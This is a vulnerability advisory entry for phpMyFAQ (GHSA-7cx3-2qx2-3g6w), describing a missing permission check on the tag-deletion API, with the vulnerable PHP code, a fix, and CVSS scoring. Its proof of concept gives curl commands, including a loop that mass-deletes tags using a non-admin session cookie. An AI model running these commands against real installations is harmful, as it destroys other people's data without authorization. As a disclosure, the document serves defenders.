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Vulnerability details: VCID-yckn-74u4-pkaw
Vulnerability ID VCID-yckn-74u4-pkaw
Aliases GHSA-7cx3-2qx2-3g6w
Summary phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags ## Summary The `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission. ## Details In `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this->userIsAuthenticated()`: ```php #[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userIsAuthenticated(); // Only checks isLoggedIn() — no permission check $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` Compare with `update()` (line 48-71) which properly enforces authorization: ```php public function update(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); // Proper permission check // ... also verifies CSRF token ... } ``` The `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this->currentUser->isLoggedIn()`: ```php protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } ``` There is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests. Additionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly. ## PoC ```bash # Step 1: Register as a regular user on the phpMyFAQ frontend # (or use any existing non-admin authenticated session) # Step 2: As the authenticated non-admin user, delete tag with ID 1: curl -X DELETE 'https://target.com/admin/api/content/tags/1' \ -H 'Cookie: PHPSESSID=<regular_user_session>' # Expected: 401 or 403 (user lacks FAQ_EDIT permission) # Actual: 200 OK with {"success": "..."} # Step 3: Enumerate and delete all tags: for i in $(seq 1 100); do curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \ -H 'Cookie: PHPSESSID=<regular_user_session>' done ``` ## Impact Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in: - **Data integrity loss:** Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed. - **Disruption of FAQ organization:** Tag-based navigation, filtering, and tag clouds become empty or broken. - **No recoverability without backup:** Deleted tags and their associations cannot be restored without a database backup. The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability. ## Recommended Fix Add the `FAQ_EDIT` permission check and CSRF token verification to `TagController::delete()`, consistent with `TagController::update()`: ```php #[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` At minimum, add `$this->userHasPermission(PermissionType::FAQ_EDIT)` to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated `TAG_DELETE` permission type for more granular access control.
Status Published
Exploitability 0.5
Weighted Severity 6.2
Risk 3.1
Affected and Fixed Packages Package Details
Weaknesses (3)
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L Found at https://github.com/thorsten/phpMyFAQ
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L Found at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6w
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

No EPSS data available for this vulnerability.

Date Actor Action Source VulnerableCode Version
2026-06-12T07:51:32.293135+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-7cx3-2qx2-3g6w/GHSA-7cx3-2qx2-3g6w.json 38.6.0